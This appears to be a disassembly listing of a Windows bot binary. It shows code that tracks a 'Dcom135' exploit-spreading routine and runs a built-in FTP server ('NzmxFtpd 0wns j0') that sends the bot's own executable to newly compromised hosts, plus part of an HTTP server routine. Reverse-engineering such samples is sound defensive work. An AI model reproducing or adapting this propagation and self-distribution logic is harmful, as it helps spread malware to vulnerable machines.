call near ptr 71AB2BBFh
mov esi, eax
test esi, esi
jnz short loc_4052A8
lea eax, [ebp+0Ch]
push eax
nop
call near ptr 71AB12F8h
mov ebx, eax
jmp short loc_4052AE
; ---------------------------------------------------------------------------
loc_4052A8: ; CODE XREF: ___:00405298j
mov ebx, [ebp+0C0h]
loc_4052AE: ; CODE XREF: ___:004052A6j
push 11h
push 2
push 2
nop
call near ptr 71AB3C22h
test esi, esi
mov edi, eax
jz short loc_4052D8
movsx eax, word ptr [esi+0Ah]
push eax
mov eax, [esi+0Ch]
push dword ptr [eax]
lea eax, [ebp-0Ch]
push eax
call sub_417390
add esp, 0Ch
jmp short loc_4052DB
; ---------------------------------------------------------------------------
loc_4052D8: ; CODE XREF: ___:004052BEj
mov [ebp-0Ch], ebx
loc_4052DB: ; CODE XREF: ___:004052D6j
test esi, esi
jz short loc_4052E9
mov ax, [esi+8]
mov [ebp-10h], ax
jmp short loc_4052EF
; ---------------------------------------------------------------------------
loc_4052E9: ; CODE XREF: ___:004052DDj
mov word ptr [ebp-10h], 2
loc_4052EF: ; CODE XREF: ___:004052E7j
push 599h
nop
call near ptr 71AB1746h
mov [ebp-0Eh], ax
lea eax, [ebp-10h]
push 10h
push eax
push edi
call near ptr 71AB3E5Dh
nop
test eax, eax
jnz loc_4053BE
push eax
push 1C9h
push offset loc_429E74
push edi
call near ptr 71AB1AF4h
nop
push 3E8h
call near ptr 25F0439h
nop
sub esp, 0BCh
lea esi, [ebp+8]
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_405144
add esp, 0BCh
test al, al
jz short loc_405354
push 1
pop eax
jmp short loc_4053D0
; ---------------------------------------------------------------------------
loc_405354: ; CODE XREF: ___:0040534Dj
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
imul eax, 3Ch
add eax, offset aDcom135 ; "Dcom135"
push eax
push offset unk_42A0B0
lea eax, [ebp-210h]
push 200h
push eax
call sub_41782A
push 0
lea eax, [ebp-210h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_40D679
lea eax, [ebp-210h]
push eax
call sub_40BF6D
mov eax, [ebp+0B0h]
add esp, 2Ch
imul eax, 3Ch
inc dword_42ACB8[eax]
lea eax, dword_42ACB8[eax]
jmp short loc_4053CE
; ---------------------------------------------------------------------------
loc_4053BE: ; CODE XREF: ___:0040530Dj
push 1
push edi
call near ptr 71AB8629h
nop
push edi
nop
call near ptr 71AB1A6Dh
loc_4053CE: ; CODE XREF: ___:004053BCj
xor eax, eax
loc_4053D0: ; CODE XREF: ___:00405352j
pop edi
pop esi
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4053D5 proc near ; DATA XREF: sub_407252+226o
var_A6C = byte ptr -0A6Ch
var_8DC = byte ptr -8DCh
var_6DC = dword ptr -6DCh
var_6D8 = byte ptr -6D8h
var_4C4 = byte ptr -4C4h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_438 = dword ptr -438h
var_334 = byte ptr -334h
var_2D0 = byte ptr -2D0h
var_29C = byte ptr -29Ch
var_228 = dword ptr -228h
var_224 = dword ptr -224h
var_124 = byte ptr -124h
var_F8 = byte ptr -0F8h
var_C4 = byte ptr -0C4h
var_AC = byte ptr -0ACh
var_48 = byte ptr -48h
var_38 = word ptr -38h
var_36 = word ptr -36h
var_34 = dword ptr -34h
var_28 = dword ptr -28h
var_20 = byte ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0A6Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp+var_6DC]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp+var_A6C]
xor edi, edi
push eax
push 101h
mov [ebp+var_28], ebx
mov [ebp+var_18], ebx
mov [ebp+var_228], edi
mov [ebp+var_438], edi
nop
call near ptr 71AB41DAh
push edi
call sub_4186B1
push eax
call sub_417302
push 0FEB0h
push 406h
call sub_415450
add esp, 10h
mov dword_43C83C, eax
push edi
push ebx
push 2
call near ptr 71AB3C22h
nop
mov esi, eax
lea eax, [ebp+var_28]
push 4
push eax
push 4
push 0FFFFh
push esi
mov [ebp+var_C], esi
nop
call near ptr 71AB3F8Dh
lea eax, [ebp+var_18]
push eax
push 8004667Eh
push esi
nop
call near ptr 71AB155Ah
mov ax, word ptr dword_43C83C
mov [ebp+var_38], 2
push eax
mov [ebp+var_34], edi
call near ptr 71AB1746h
nop
mov [ebp+var_36], ax
lea eax, [ebp+var_38]
push 10h
push eax
push esi
nop
call near ptr 71AB3ECEh
test eax, eax
jge short loc_4054AA
mov eax, ebx
jmp loc_4059D4
; ---------------------------------------------------------------------------
loc_4054AA: ; CODE XREF: sub_4053D5+CCj
push 0Ah
push esi
nop
call near ptr 71AB5DE2h
mov [ebp+var_228], ebx
mov ebx, dword_424208
mov [ebp+var_224], esi
mov [ebp+var_4], esi
loc_4054C8: ; CODE XREF: sub_4053D5+12Cj
; sub_4053D5+5F7j
push 41h
lea esi, [ebp+var_228]
pop ecx
lea edi, [ebp+var_438]
rep movsd
xor esi, esi
lea eax, [ebp+var_438]
push esi
push esi
push esi
push eax
mov eax, [ebp+var_4]
inc eax
push eax
call near ptr 71AB1890h
nop
cmp eax, 0FFFFFFFFh
jz loc_4059D1
xor edi, edi
cmp [ebp+var_4], esi
mov [ebp+arg_0], edi
jl short loc_4054C8
loc_405503: ; CODE XREF: sub_4053D5+5F1j
xor esi, esi
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_417330
push 64h
lea eax, [ebp+var_AC]
push esi
push eax
call sub_417330
add esp, 18h
lea eax, [ebp+var_438]
push eax
push edi
call sub_422A46
; ---------------------------------------------------------------------------
db 85h
dd 84840FC0h, 3B000004h, 7A75F47Dh, 0C7DC458Dh, 10DC45h
dd 8D500000h, 0FFFDC885h, 75FF50FFh, 3133E8F4h, 8390716Bh
dd 840FFFF8h, 45Bh, 0B539C933h, 0FFFFFDD8h, 958D1676h
dd 0FFFFFDDCh
; ---------------------------------------------------------------------------
loc_405574: ; CODE XREF: sub_4053D5+1ADj
cmp [edx], eax
jz short loc_405584
inc ecx
add edx, 4
cmp ecx, [ebp+var_228]
jb short loc_405574
loc_405584: ; CODE XREF: sub_4053D5+1A1j
cmp ecx, [ebp+var_228]
jnz short loc_4055A2
cmp [ebp+var_228], 40h
jnb short loc_4055A2
mov [ebp+ecx*4+var_224], eax
inc [ebp+var_228]
loc_4055A2: ; CODE XREF: sub_4053D5+1B5j
; sub_4053D5+1BEj
cmp eax, [ebp+var_4]
jle short loc_4055AA
mov [ebp+var_4], eax
loc_4055AA: ; CODE XREF: sub_4053D5+1D0j
push esi
push 15h
push offset a220Nzmxftpd0wn ; "220 NzmxFtpd 0wns j0\n"
push eax
call ebx ; send
jmp loc_4059BF
; ---------------------------------------------------------------------------
dw 8D56h
; ---------------------------------------------------------------------------
test [ebp+edi*8+var_4+3], esp
jmp fword ptr [edx+64h]
; ---------------------------------------------------------------------------
db 50h
dd 0C6E857h, 8590716Bh, 8B527FC0h, 0FFFDD895h, 3BC933FFh
dd 8D3A76D6h, 0FFFDDC85h
db 0FFh
; ---------------------------------------------------------------------------
loc_4055E1: ; CODE XREF: sub_4053D5+216j
cmp [eax], edi
jz short loc_4055EF
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_4055E1
jmp short loc_405615
; ---------------------------------------------------------------------------
loc_4055EF: ; CODE XREF: sub_4053D5+20Ej
dec edx
cmp ecx, edx
jnb short loc_40560F
lea eax, [ebp+ecx*4+var_224]
loc_4055FB: ; CODE XREF: sub_4053D5+238j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp+var_228]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_4055FB
loc_40560F: ; CODE XREF: sub_4053D5+21Dj
dec [ebp+var_228]
loc_405615: ; CODE XREF: sub_4053D5+218j
push edi
call near ptr 71AB1A6Dh
nop
jmp loc_4059BF
; ---------------------------------------------------------------------------
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS_1 ; "%s %s"
push eax
call sub_418A52
lea eax, [ebp+var_AC]
push offset aUser_1 ; "USER"
push eax
call sub_4176D0
add esp, 18h
test eax, eax
jnz short loc_405665
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_405665: ; CODE XREF: sub_4053D5+281j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405689
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_405689: ; CODE XREF: sub_4053D5+2A5j
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056AD
push esi
push 0Dh
push offset a215Nzmxftpd ; "215 NzmxFtpd\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_4056AD: ; CODE XREF: sub_4053D5+2C9j
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056D1
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_4056D1: ; CODE XREF: sub_4053D5+2EDj
lea eax, [ebp+var_AC]
push offset off_42A2D0
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056F5
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_4056F5: ; CODE XREF: sub_4053D5+311j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405730
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405730
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_405730: ; CODE XREF: sub_4053D5+335j
; sub_4053D5+34Cj
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40576B
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40576B
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_4059AA
; ---------------------------------------------------------------------------
loc_40576B: ; CODE XREF: sub_4053D5+370j
; sub_4053D5+387j
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4057B9
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_124]
loc_4057A9: ; CODE XREF: sub_4053D5+423j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
loc_4057B1: ; CODE XREF: sub_4053D5+4F6j
mov edi, [ebp+arg_0]
jmp loc_4059AD
; ---------------------------------------------------------------------------
loc_4057B9: ; CODE XREF: sub_4053D5+3ABj
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4057FA
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_4057A9
; ---------------------------------------------------------------------------
loc_4057FA: ; CODE XREF: sub_4053D5+3F9j
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_4058D0
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_418A52
lea eax, [ebp+var_F8]
push eax
call sub_41781F
mov edi, eax
lea eax, [ebp+var_2D0]
push eax
call sub_41781F
mov [ebp+var_8], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_417330
add esp, 34h
lea eax, [ebp+var_F8]
push [ebp+var_8]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_4172B0
push 10h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_418A3B
add esp, 1Ch
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_4172B0
add esp, 18h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push [ebp+arg_0]
call ebx ; send
jmp loc_4057B1
; ---------------------------------------------------------------------------
loc_4058D0: ; CODE XREF: sub_4053D5+43Aj
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz loc_40598B
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_4059DB
pop ecx
cmp eax, 1
pop ecx
jnz short loc_405981
call sub_405A58
cmp eax, 1
jnz loc_4059AD
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push dword_43C83C
push eax
lea eax, [ebp+var_8DC]
push offset unk_42A128
push eax
call sub_4172B0
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_405972
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_40D679
add esp, 14h
loc_405972: ; CODE XREF: sub_4053D5+578j
lea eax, [ebp+var_8DC]
push eax
call sub_40BF6D
pop ecx
jmp short loc_4059AD
; ---------------------------------------------------------------------------
loc_405981: ; CODE XREF: sub_4053D5+532j
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_4059AA
; ---------------------------------------------------------------------------
loc_40598B: ; CODE XREF: sub_4053D5+510j
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4059AD
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_4059AA: ; CODE XREF: sub_4053D5+28Bj
; sub_4053D5+2AFj ...
push edi
call ebx ; send
loc_4059AD: ; CODE XREF: sub_4053D5+3DFj
; sub_4053D5+53Cj ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_417330
add esp, 0Ch
loc_4059BF: ; CODE XREF: sub_4053D5+1E0j
; sub_4053D5+247j
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_405503
jmp loc_4054C8
; ---------------------------------------------------------------------------
loc_4059D1: ; CODE XREF: sub_4053D5+11Ej
push 1
pop eax
loc_4059D4: ; CODE XREF: sub_4053D5+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_4053D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4059DB proc near ; CODE XREF: sub_4053D5+528p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
loc_4059E4: ; DATA XREF: Themida_:004F0008o
lea eax, [ebp+var_1A0]
push eax
push 101h
nop
call near ptr 71AB41DAh
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
push [ebp+arg_0]
mov dword_43C838, eax
mov [ebp+var_10], 2
call near ptr 71AB12F8h
nop
push [ebp+arg_4]
mov [ebp+var_C], eax
call near ptr 71AB1746h
nop
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_43C838
call near ptr 71AB3E5Dh
nop
cmp eax, 0FFFFFFFFh
jnz short loc_405A53
push dword_43C838
nop
call near ptr 71AB1A6Dh
call near ptr 71AB1836h
nop
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_405A53: ; CODE XREF: sub_4059DB+60j
push 1
pop eax
leave
retn
sub_4059DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A58 proc near ; CODE XREF: sub_4053D5+534p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
call near ptr 2640000h
nop
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_4179A8
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405AEF
test byte ptr [esi+0Ch], 10h
jnz short loc_405AD3
push edi
mov edi, 400h
loc_405A9B: ; CODE XREF: sub_405A58+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_418A86
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_43C838
call near ptr 71AB1AF4h
nop
push 1
nop
call near ptr 25F0439h
test byte ptr [esi+0Ch], 10h
jz short loc_405A9B
pop edi
loc_405AD3: ; CODE XREF: sub_405A58+3Bj
push esi
call sub_417900
pop ecx
push dword_43C838
nop
call near ptr 71AB1A6Dh
call near ptr 71AB1836h
nop
push 1
pop eax
loc_405AEF: ; CODE XREF: sub_405A58+35j
pop esi
leave
retn
sub_405A58 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405AF2 proc near ; DATA XREF: sub_407252+333o
; sub_40EE72+54E8o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_417B30
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_417330
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_43F668
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_43F6E8
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_405EDD
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_4450CC[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_43F694
cmp eax, 0FFFFFFFFh
jz loc_405EDD
push 7FFFFFFFh
push edi
call dword_43F690
cmp eax, 0FFFFFFFFh
jz loc_405EDD
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_43F704
cmp eax, 0FFFFFFFFh
jz loc_405EDD
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_405BC9: ; CODE XREF: sub_405AF2+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_43F650
cmp eax, 0FFFFFFFFh
jz loc_405ED8
xor esi, esi
mov [ebp+var_4], esi
loc_405BFF: ; CODE XREF: sub_405AF2+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_43F560
test eax, eax
jz loc_405EC3
cmp esi, [ebp+var_C]
jnz short loc_405C81
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_43F6FC
cmp eax, 0FFFFFFFFh
jz loc_405EC3
xor ecx, ecx
test ebx, ebx
jbe short loc_405C53
lea edx, [ebp+var_134]
loc_405C47: ; CODE XREF: sub_405AF2+15Fj
cmp [edx], eax
jz short loc_405C53
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_405C47
loc_405C53: ; CODE XREF: sub_405AF2+14Dj
; sub_405AF2+157j
cmp ecx, ebx
jnz short loc_405C70
cmp ebx, 40h
jnb short loc_405C70
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_405C70: ; CODE XREF: sub_405AF2+163j
; sub_405AF2+168j
cmp eax, [ebp+var_8]
jbe loc_405EC3
mov [ebp+var_8], eax
jmp loc_405EC3
; ---------------------------------------------------------------------------
loc_405C81: ; CODE XREF: sub_405AF2+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_417330
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417330
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_43F680
test eax, eax
jg short loc_405D14
push esi
call dword_43F700
xor ecx, ecx
test ebx, ebx
jbe loc_405EC3
lea eax, [ebp+var_134]
loc_405CD3: ; CODE XREF: sub_405AF2+1EBj
cmp [eax], esi
jz short loc_405CE4
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405CD3
jmp loc_405EC3
; ---------------------------------------------------------------------------
loc_405CE4: ; CODE XREF: sub_405AF2+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405D08
lea eax, [ebp+ecx*4+var_134]
loc_405CF2: ; CODE XREF: sub_405AF2+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405CF2
loc_405D08: ; CODE XREF: sub_405AF2+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_405EC3
; ---------------------------------------------------------------------------
loc_405D14: ; CODE XREF: sub_405AF2+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_417330
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_417AB0
add esp, 10h
test eax, eax
jbe loc_405EC3
loc_405D42: ; CODE XREF: sub_405AF2+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_405DE7
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_417880
pop ecx
test eax, eax
pop ecx
jz short loc_405DBB
lea eax, [ebp+var_18F0]
push eax
call sub_417AB0
cmp eax, 5
pop ecx
jbe short loc_405DBB
mov eax, offset asc_42A3B4 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_417880
pop ecx
pop ecx
push eax
call sub_417880
pop ecx
pop ecx
push eax
call sub_418B6E
push eax
lea eax, [ebp+var_23C]
push eax
call sub_4179C0
add esp, 10h
jmp short loc_405DD2
; ---------------------------------------------------------------------------
loc_405DBB: ; CODE XREF: sub_405AF2+27Fj
; sub_405AF2+291j
lea eax, [ebp+var_18F0]
push offset asc_42A3B0 ; "\r\n"
push eax
call sub_4176D0
pop ecx
test eax, eax
pop ecx
jz short loc_405E06
loc_405DD2: ; CODE XREF: sub_405AF2+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417330
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_405DE7: ; CODE XREF: sub_405AF2+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_417AB0
cmp [ebp+arg_0], eax
pop ecx
jb loc_405D42
jmp loc_405EC3
; ---------------------------------------------------------------------------
loc_405E06: ; CODE XREF: sub_405AF2+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_405E50
lea eax, [ebp+var_134]
loc_405E12: ; CODE XREF: sub_405AF2+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_405E23
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405E12
jmp short loc_405E53
; ---------------------------------------------------------------------------
loc_405E23: ; CODE XREF: sub_405AF2+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405E47
lea eax, [ebp+ecx*4+var_134]
loc_405E31: ; CODE XREF: sub_405AF2+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405E31
loc_405E47: ; CODE XREF: sub_405AF2+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_405E53
; ---------------------------------------------------------------------------
loc_405E50: ; CODE XREF: sub_405AF2+318j
mov esi, [ebp+var_4]
loc_405E53: ; CODE XREF: sub_405AF2+32Fj
; sub_405AF2+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_405EBC
lea eax, [ebp+var_360]
push eax
call sub_417AB0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_417AB0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_405EBC
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_43F704
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_4060D0
add esp, 14h
jmp short loc_405EC3
; ---------------------------------------------------------------------------
loc_405EBC: ; CODE XREF: sub_405AF2+369j
; sub_405AF2+38Fj
push esi
call dword_43F700
loc_405EC3: ; CODE XREF: sub_405AF2+11Dj
; sub_405AF2+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_405BFF
jmp loc_405BC9
; ---------------------------------------------------------------------------
loc_405ED8: ; CODE XREF: sub_405AF2+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_405EDD: ; CODE XREF: sub_405AF2+6Aj
; sub_405AF2+92j ...
call dword_43F5FC
push eax
lea eax, [ebp+var_8F0]
push offset unk_42A36C
push eax
call sub_4172B0
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_405F23
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_40D679
add esp, 14h
loc_405F23: ; CODE XREF: sub_405AF2+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_40BF6D
pop ecx
push edi
call dword_43F700
push [ebp+var_254]
call sub_417078
pop ecx
push ebx
nop
call near ptr 25E02EAh
pop edi
pop esi
pop ebx
sub_405AF2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405F4D proc near ; DATA XREF: sub_4060D0+24Do
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_417B30
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_2C4]
pop ecx
push eax
lea eax, [ebp+var_654]
push eax
call sub_4172B0
xor edi, edi
pop ecx
cmp [ebp+var_A4], edi
pop ecx
jz short loc_405FB3
push offset aTextHtml ; "text/html"
jmp short loc_405FB8
; ---------------------------------------------------------------------------
loc_405FB3: ; CODE XREF: sub_405F4D+5Dj
push offset aApplicationOct ; "application/octet-stream"
loc_405FB8: ; CODE XREF: sub_405F4D+64j
lea eax, [ebp+var_9C]
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
